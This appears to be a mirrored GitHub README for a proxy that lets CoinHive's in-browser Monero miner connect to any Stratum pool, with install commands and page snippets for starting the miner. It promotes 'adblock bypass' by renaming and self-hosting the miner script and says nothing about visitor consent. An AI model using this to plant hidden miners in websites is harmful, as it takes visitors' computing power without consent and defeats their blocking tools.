RyanSadowski / coinhive-stratum-mining-proxy

Browser mining on any pool using CoinHive.js library

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

CoinHive Stratum Mining Proxy

A proof of concept of web mining using CoinHive's JavaScript Mining library. The proxy acts like coin hive to connect to a mining pool. Should work with any monero pool based on the Stratum Mining Protocol. You can even set up your own pool.

Pros: no dev fee, adblock bypass, use any pool you like.

Installation

Docker:

$ git clone https://github.com/x25/coinhive-stratum-mining-proxy.git
$ cd coinhive-stratum-mining-proxy
$ docker build -t coinhive-stratum-mining-proxy .
$ docker run -p 8892:8892 coinhive-stratum-mining-proxy <stratum tcp host> <stratum tcp port>

eg:

$ docker run -p 8892:8892 coinhive-stratum-mining-proxy xmr-eu1.nanopool.org 14444

Linux/Mac:

$ git clone https://github.com/x25/coinhive-stratum-mining-proxy.git
$ cd coinhive-stratum-mining-proxy
$ pip install -v -r requirements.txt
$ python coinhive-stratum-mining-proxy.py <stratum tcp host> <stratum tcp port>

eg:

$ python coinhive-stratum-mining-proxy.py xmr-eu1.nanopool.org 14444

Dependencies:

  • python
  • pip
  • openssl-dev
  • gcc
  • git

Usage

  1. Install and Run coinhive-stratum-mining-proxy
  2. Load the Coinhive Miner
<script src="https://coinhive.com/lib/coinhive.min.js"></script>

The javascript can be saved/renamed and loaded from your server, see adblock_bypass.html.

  1. Change the CoinHive.CONFIG.WEBSOCKET_SHARDS config variable:
<script>
CoinHive.CONFIG.WEBSOCKET_SHARDS = [["ws://localhost:8892/proxy"]];
</script>
  1. Start Mining
<script>
var miner = new CoinHive.Anonymous('YOUR_MONERO_ADDRESS');
miner.start();
</script>

or

<script>
var miner = new CoinHive.User('YOUR_MONERO_ADDRESS', 'YOUR_WORKER_NAME');
miner.start();
</script>

the username will be used as the stratum worker name.

  1. Profit!

Demo

Setup and run coinhive-stratum-mining-proxy with xmr-eu1.nanopool.org 14444 parameters and open http://localhost:8892 in your browser for live demo.

Links

Disclaimer

This project is not endorsed by or affiliated with coinhive.com in any way.

License

MIT

About

Browser mining on any pool using CoinHive.js library

License:MIT License


Languages

Language:Python 76.1%Language:HTML 23.9%